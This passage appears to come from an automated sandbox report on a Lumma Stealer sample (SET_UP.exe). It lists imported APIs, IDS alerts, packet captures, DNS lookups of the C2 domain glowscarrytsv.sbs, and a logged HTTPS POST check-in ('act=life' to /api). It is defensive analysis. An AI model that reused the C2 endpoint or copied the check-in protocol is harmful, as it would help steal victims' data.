SetParent, IsZoomed, CharUpperBuffW, GetClientRect, IsChild, ClientToScreen, SetWindowPlacement, IsIconic, CallNextHookEx, GetMonitorInfoW, ShowWindow, CheckMenuItem, CharUpperW, DefWindowProcW, GetForegroundWindow, SetForegroundWindow, GetWindowTextW, EnableWindow, DestroyWindow, IsDialogMessageW, EndMenu, RegisterClassW, CharNextW, GetWindowThreadProcessId, RedrawWindow, GetDC, GetFocus, SetFocus, EndPaint, ExitWindowsEx, ReleaseDC, MsgWaitForMultipleObjectsEx, LoadKeyboardLayoutW, GetClassLongW, ActivateKeyboardLayout, GetParent, CharToOemBuffA, DrawTextW, SetScrollRange, InsertMenuItemW, PeekMessageA, GetPropW, SetClassLongW, MessageBoxW, MessageBeep, SetPropW, SetRectEmpty, UpdateWindow, RemovePropW, GetSubMenu, MsgWaitForMultipleObjects, DestroyMenu, DestroyIcon, SetWindowsHookExW, IsWindowVisible, DispatchMessageA, UnregisterClassW, GetTopWindow, SendMessageW, AdjustWindowRectEx, DrawIcon, IsWindow, EnumThreadWindows, InvalidateRect, GetKeyboardState, DrawFrameControl, ScreenToClient, SendMessageTimeoutW, BringWindowToTop, SetCursor, CreateIcon, CreateMenu, LoadStringW, CharLowerW, SetWindowPos, SetWindowRgn, GetMenuItemCount, RemoveMenu, AppendMenuW, GetSysColorBrush, GetKeyboardLayoutNameW, GetWindowDC, TranslateMessage, DrawTextExW, MapWindowPoints, EnumDisplayMonitors, CallWindowProcW, DestroyCursor, ReplyMessage, GetScrollInfo, SetWindowTextW, GetMessageExtraInfo, EnableScrollBar, GetSysColor, TrackPopupMenu, DrawIconEx, PostQuitMessage, GetClassNameW, ShowScrollBar, EnableMenuItem, GetIconInfo, GetMessagePos, SetScrollInfo, GetKeyNameTextW, GetDesktopWindow, GetCursorPos, SetCursorPos, HideCaret, GetMenu, GetMenuState, SetMenu, SetRect, GetKeyState, FindWindowExW, MonitorFromPoint, SystemParametersInfoW, LoadIconW, GetCursor, GetWindow, GetWindowLongW, GetWindowRect, InsertMenuW, KillTimer, WaitMessage, IsWindowEnabled, IsDialogMessageA, TranslateMDISysAccel, GetWindowPlacement, FindWindowW, DeleteMenu, GetKeyboardLayout
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
oleaut32.dll	SafeArrayPutElement, LoadTypeLib, GetErrorInfo, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, SafeArrayCreate, SafeArrayGetElement, GetActiveObject, SysAllocStringLen, SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, VariantCopy, RegisterTypeLib, VariantChangeType, VariantCopyInd
advapi32.dll	RegSetValueExW, RegEnumKeyExW, AdjustTokenPrivileges, OpenThreadToken, GetUserNameW, RegDeleteKeyW, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegQueryInfoKeyW, AllocateAndInitializeSid, FreeSid, EqualSid, RegDeleteValueW, RegFlushKey, RegQueryValueExW, RegEnumValueW, GetTokenInformation, InitializeSecurityDescriptor, RegCloseKey, RegCreateKeyExW, SetSecurityDescriptorDacl
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
msvcrt.dll	memcpy
winhttp.dll	WinHttpGetIEProxyConfigForCurrentUser, WinHttpSetTimeouts, WinHttpSetStatusCallback, WinHttpConnect, WinHttpReceiveResponse, WinHttpQueryAuthSchemes, WinHttpGetProxyForUrl, WinHttpReadData, WinHttpCloseHandle, WinHttpQueryHeaders, WinHttpOpenRequest, WinHttpAddRequestHeaders, WinHttpOpen, WinHttpWriteData, WinHttpSetCredentials, WinHttpQueryDataAvailable, WinHttpSetOption, WinHttpSendRequest, WinHttpQueryOption
kernel32.dll	SetFileAttributesW, SetFileTime, GetACP, GetExitCodeProcess, IsBadWritePtr, CloseHandle, LocalFree, GetCurrentProcessId, SizeofResource, VirtualProtect, TerminateThread, QueryPerformanceFrequency, IsDebuggerPresent, FindNextFileW, GetFullPathNameW, VirtualFree, HeapAlloc, ExitProcess, WriteProfileStringW, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetTimeZoneInformation, FileTimeToLocalFileTime, GetModuleHandleW, FreeLibrary, HeapDestroy, CompareFileTime, ReadFile, CreateProcessW, TransactNamedPipe, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, OpenMutexW, CreateThread, CompareStringW, CopyFileW, CreateMutexW, LoadLibraryA, ResetEvent, MulDiv, FreeResource, GetDriveTypeW, GetVersion, RaiseException, MoveFileW, GlobalAddAtomW, GetSystemTimeAsFileTime, FormatMessageW, OpenProcess, SwitchToThread, GetExitCodeThread, OutputDebugStringW, GetCurrentThread, GetLogicalDrives, LocalFileTimeToFileTime, SetNamedPipeHandleState, LoadLibraryExW, TerminateProcess, LockResource, FileTimeToSystemTime, GetShortPathNameW, GetCurrentThreadId, UnhandledExceptionFilter, MoveFileExW, GlobalFindAtomW, VirtualQuery, GlobalFree, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, ReleaseMutex, FlushFileBuffers, LoadResource, SuspendThread, GetTickCount, WritePrivateProfileStringW, GetFileSize, GlobalDeleteAtom, GetStartupInfoW, GetFileAttributesW, GetCurrentDirectoryW, SetCurrentDirectoryW, InitializeCriticalSection, GetThreadPriority, GetCurrentProcess, SetThreadPriority, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, DeviceIoControl, LCMapStringW, GetDiskFreeSpaceW, VerSetConditionMask, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, lstrcmpW, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetEnvironmentVariableW, GetLocalTime, WaitForSingleObject, WriteFile, CreateNamedPipeW, ExitThread, DeleteCriticalSection, GetDateFormatW, TlsGetValue, SetErrorMode, GetComputerNameW, IsValidLocale, TlsSetValue, CreateDirectoryW, GetOverlappedResult, GetSystemDefaultUILanguage, EnumCalendarInfoW, GetProfileStringW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, IsDBCSLeadByte, CreateEventW, GetPrivateProfileStringW, WaitForMultipleObjectsEx, GetThreadLocale, SetThreadLocale
ole32.dll	StgCreateDocfileOnILockBytes, CoCreateInstance, CLSIDFromString, CoUninitialize, IsEqualGUID, OleInitialize, CoFreeUnusedLibraries, CreateILockBytesOnHGlobal, CLSIDFromProgID, OleUninitialize, CoDisconnectObject, CoInitialize, CoTaskMemFree, CoTaskMemAlloc, StringFromCLSID
gdi32.dll	Arc, Pie, SetBkMode, SelectPalette, CreateCompatibleBitmap, ExcludeClipRect, RectVisible, SetWindowOrgEx, MaskBlt, AngleArc, Chord, SetTextColor, StretchBlt, SetDIBits, SetViewportOrgEx, CreateRectRgn, RealizePalette, SetDIBColorTable, GetDIBColorTable, RoundRect, RestoreDC, SetRectRgn, GetTextMetricsW, RemoveFontResourceW, GetWindowOrgEx, CreatePalette, CreateBrushIndirect, PatBlt, LineDDA, PolyBezierTo, GetStockObject, CreateSolidBrush, Polygon, Rectangle, MoveToEx, DeleteDC, SaveDC, BitBlt, Ellipse, FrameRgn, GetDeviceCaps, GetBitmapBits, GetTextExtentPoint32W, GetClipBox, Polyline, IntersectClipRect, GetSystemPaletteEntries, CreateBitmap, AddFontResourceW, CreateDIBitmap, GetStretchBltMode, CreateDIBSection, CreatePenIndirect, SetStretchBltMode, GetDIBits, CreateFontIndirectW, PolyBezier, LineTo, GetRgnBox, EnumFontsW, CreateHalftonePalette, DeleteObject, SelectObject, ExtFloodFill, UnrealizeObject, SetBkColor, CreateCompatibleDC, GetObjectW, GetBrushOrgEx, GetCurrentPositionEx, SetROP2, GetTextExtentPointW, ExtTextOutW, SetBrushOrgEx, GetPixel, ArcTo, GdiFlush, SetPixel, EnumFontFamiliesExW, GetPaletteEntries

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4b5e58
__dbk_fcall_wrapper	2	0x410a7c
dbkFCallWrapperAddr	1	0x6d1640

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-06T15:15:08.513880+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49748	188.114.97.3	443	TCP
2025-01-06T15:15:09.034284+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49748	188.114.97.3	443	TCP
2025-01-06T15:15:09.034284+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49748	188.114.97.3	443	TCP
2025-01-06T15:15:09.515438+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49749	188.114.97.3	443	TCP
2025-01-06T15:15:10.005978+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49749	188.114.97.3	443	TCP
2025-01-06T15:15:10.005978+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49749	188.114.97.3	443	TCP
2025-01-06T15:15:10.634900+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49750	188.114.97.3	443	TCP
2025-01-06T15:15:12.133029+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49751	188.114.97.3	443	TCP
2025-01-06T15:15:13.372746+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49752	188.114.97.3	443	TCP
2025-01-06T15:15:14.676572+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49753	188.114.97.3	443	TCP
2025-01-06T15:15:15.492390+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49753	188.114.97.3	443	TCP
2025-01-06T15:15:16.067101+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49754	188.114.97.3	443	TCP
2025-01-06T15:15:23.991606+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49756	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 15:15:08.020179987 CET	49748	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:08.020220995 CET	443	49748	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:08.020298004 CET	49748	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:08.023422956 CET	49748	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:08.023437023 CET	443	49748	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:08.513798952 CET	443	49748	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:08.513880014 CET	49748	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:08.518874884 CET	49748	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:08.518886089 CET	443	49748	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:08.519092083 CET	443	49748	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:08.569500923 CET	49748	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:08.612447023 CET	49748	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:08.612462044 CET	49748	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:08.612548113 CET	443	49748	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:09.034288883 CET	443	49748	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:09.034375906 CET	443	49748	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:09.034420013 CET	49748	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:09.035553932 CET	49748	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:09.035579920 CET	443	49748	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:09.035583019 CET	49748	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:09.035590887 CET	443	49748	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:09.049983025 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:09.050019026 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:09.050080061 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:09.050659895 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:09.050669909 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:09.515362978 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:09.515438080 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:09.516659975 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:09.516668081 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:09.516877890 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:09.518053055 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:09.518070936 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:09.518110991 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.005987883 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.006037951 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.006069899 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.006078959 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.006095886 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.006133080 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.006145954 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.006223917 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.006258011 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.006263971 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.006304979 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.006339073 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.006342888 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.010688066 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.010734081 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.010739088 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.010749102 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.010787010 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.010792017 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.010860920 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.010904074 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.011039019 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.011051893 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.011065006 CET	49749	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.011069059 CET	443	49749	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.166177034 CET	49750	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.166224957 CET	443	49750	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.166306019 CET	49750	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.166547060 CET	49750	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.166563034 CET	443	49750	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.634809971 CET	443	49750	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.634900093 CET	49750	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.636125088 CET	49750	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.636136055 CET	443	49750	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.636337996 CET	443	49750	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.637468100 CET	49750	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.637609959 CET	49750	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.637640953 CET	443	49750	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:10.637695074 CET	49750	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:10.637702942 CET	443	49750	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:11.609323025 CET	443	49750	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:11.609400034 CET	443	49750	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:11.609451056 CET	49750	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:11.609596968 CET	49750	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:11.609613895 CET	443	49750	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:11.672800064 CET	49751	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:11.672825098 CET	443	49751	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:11.672921896 CET	49751	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:11.673218012 CET	49751	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:11.673228979 CET	443	49751	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:12.132971048 CET	443	49751	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:12.133028984 CET	49751	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:12.134743929 CET	49751	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:12.134751081 CET	443	49751	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:12.134985924 CET	443	49751	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:12.136106014 CET	49751	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:12.136219025 CET	49751	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:12.136248112 CET	443	49751	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:12.633260012 CET	443	49751	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:12.633337975 CET	443	49751	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:12.633394957 CET	49751	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:12.633553028 CET	49751	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:12.633563995 CET	443	49751	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:12.844772100 CET	49752	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:12.844805002 CET	443	49752	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:12.844887018 CET	49752	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:12.845179081 CET	49752	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:12.845191002 CET	443	49752	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:13.372643948 CET	443	49752	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:13.372745991 CET	49752	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:13.374186039 CET	49752	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:13.374212980 CET	443	49752	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:13.374452114 CET	443	49752	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:13.375705957 CET	49752	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:13.375832081 CET	49752	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:13.375869989 CET	443	49752	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:13.375948906 CET	49752	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:13.375958920 CET	443	49752	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:13.975513935 CET	443	49752	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:13.975634098 CET	443	49752	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:13.975703955 CET	49752	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:13.975871086 CET	49752	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:13.975889921 CET	443	49752	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:14.220067978 CET	49753	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:14.220097065 CET	443	49753	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:14.220190048 CET	49753	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:14.220468044 CET	49753	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:14.220487118 CET	443	49753	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:14.676470995 CET	443	49753	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:14.676572084 CET	49753	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:14.677710056 CET	49753	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:14.677717924 CET	443	49753	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:14.677985907 CET	443	49753	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:14.679207087 CET	49753	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:14.679331064 CET	49753	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:14.679336071 CET	443	49753	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:15.492372990 CET	443	49753	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:15.492465019 CET	443	49753	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:15.492513895 CET	49753	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:15.492662907 CET	49753	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:15.492681980 CET	443	49753	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:15.608513117 CET	49754	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:15.608556986 CET	443	49754	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:15.608629942 CET	49754	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:15.608980894 CET	49754	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:15.608994961 CET	443	49754	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:16.067020893 CET	443	49754	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:16.067101002 CET	49754	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:16.068257093 CET	49754	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:16.068286896 CET	443	49754	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:16.068545103 CET	443	49754	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:16.072427988 CET	49754	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:16.072583914 CET	49754	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:16.072596073 CET	443	49754	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:23.711513042 CET	443	49754	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:23.711594105 CET	443	49754	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:23.711684942 CET	49754	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:23.711826086 CET	49754	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:23.711888075 CET	443	49754	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:23.782227039 CET	49756	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:23.782255888 CET	443	49756	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:23.782335043 CET	49756	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:23.782597065 CET	49756	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:23.782610893 CET	443	49756	188.114.97.3	192.168.2.4
Jan 6, 2025 15:15:23.991605997 CET	49756	443	192.168.2.4	188.114.97.3
Jan 6, 2025 15:15:30.577831030 CET	62246	53	192.168.2.4	162.159.36.2
Jan 6, 2025 15:15:30.582811117 CET	53	62246	162.159.36.2	192.168.2.4
Jan 6, 2025 15:15:30.582895041 CET	62246	53	192.168.2.4	162.159.36.2
Jan 6, 2025 15:15:30.587732077 CET	53	62246	162.159.36.2	192.168.2.4
Jan 6, 2025 15:15:31.047470093 CET	62246	53	192.168.2.4	162.159.36.2
Jan 6, 2025 15:15:31.052500963 CET	53	62246	162.159.36.2	192.168.2.4
Jan 6, 2025 15:15:31.052557945 CET	62246	53	192.168.2.4	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 15:15:08.003470898 CET	58970	53	192.168.2.4	1.1.1.1
Jan 6, 2025 15:15:08.015584946 CET	53	58970	1.1.1.1	192.168.2.4
Jan 6, 2025 15:15:30.577321053 CET	53	54666	162.159.36.2	192.168.2.4
Jan 6, 2025 15:15:31.061511993 CET	53207	53	192.168.2.4	1.1.1.1
Jan 6, 2025 15:15:31.070869923 CET	53	53207	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 6, 2025 15:15:08.003470898 CET	192.168.2.4	1.1.1.1	0x50d6	Standard query (0)	glowscarrytsv.sbs	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:15:31.061511993 CET	192.168.2.4	1.1.1.1	0x842a	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 6, 2025 15:15:08.015584946 CET	1.1.1.1	192.168.2.4	0x50d6	No error (0)	glowscarrytsv.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:15:08.015584946 CET	1.1.1.1	192.168.2.4	0x50d6	No error (0)	glowscarrytsv.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:15:31.070869923 CET	1.1.1.1	192.168.2.4	0x842a	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

glowscarrytsv.sbs

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49748	188.114.97.3	443	7620	C:\Users\user\Desktop\SET_UP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:15:08 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: glowscarrytsv.sbs
2025-01-06 14:15:08 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-06 14:15:09 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:15:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=egltn4epsrf6mcasofn71pe3ia; expires=Fri, 02 May 2025 08:01:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZHpcxLTjVNJcR1kDekLADRt94OnJLMLsh5MyMjAOLzAJXJXDDIDbiICRQ%2Bpg0ADSnzlvBVTbG3fXVlQ7s%2FaXrNKeTdkA4PE2K5oe1qEyfheSLMvmQtYI5PlzWGdIYNG5q9iOJQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc5187293b42ef-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1784&min_rtt=1783&rtt_var=672&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=908&delivery_rate=1624026&cwnd=221&unsent_bytes=0&cid=51f212e02f8dc92f&ts=532&x=0"
2025-01-06 14:15:09 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-06 14:15:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49749	188.114.97.3	443	7620	C:\Users\user\Desktop\SET_UP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:15:09 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 80 Host: glowscarrytsv.sbs
